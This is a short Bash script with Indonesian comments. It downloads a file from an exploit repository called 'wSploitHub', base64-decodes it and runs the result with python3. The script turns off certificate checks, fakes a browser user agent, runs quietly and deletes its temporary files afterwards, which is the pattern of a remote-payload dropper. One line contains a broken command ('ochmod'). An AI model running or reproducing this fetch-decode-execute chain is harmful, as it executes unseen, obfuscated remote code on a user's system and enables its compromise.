25 lines
815 B
Bash
25 lines
815 B
Bash
#!/bin/bash
|
|
|
|
URL="https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/python/prepy"
|
|
TEMP_FILE="$(mktemp /tmp/tmp_prepy.XXXXXX)"
|
|
|
|
# Unduh file dengan curl
|
|
if command -v curl &> /dev/null; then
|
|
curl -s -k -A "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -o "$TEMP_FILE"
|
|
elif command -v wget &> /dev/null; then
|
|
wget --no-check-certificate --quiet --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -O "$TEMP_FILE"
|
|
else
|
|
echo "Error: curl or wget not found. Please install one of them." >&2
|
|
exit 1
|
|
fi
|
|
|
|
# Decode Base64
|
|
DECODED_FILE="$(mktemp /tmp/decoded_prepy.XXXXXX)"
|
|
base64 -d "$TEMP_FILE" > "$DECODED_FILE"
|
|
rm -f "$TEMP_FILE"
|
|
|
|
# Jalankan file Python
|
|
ochmod +x "$DECODED_FILE"
|
|
python3 "$DECODED_FILE"
|
|
rm -f "$DECODED_FILE"
|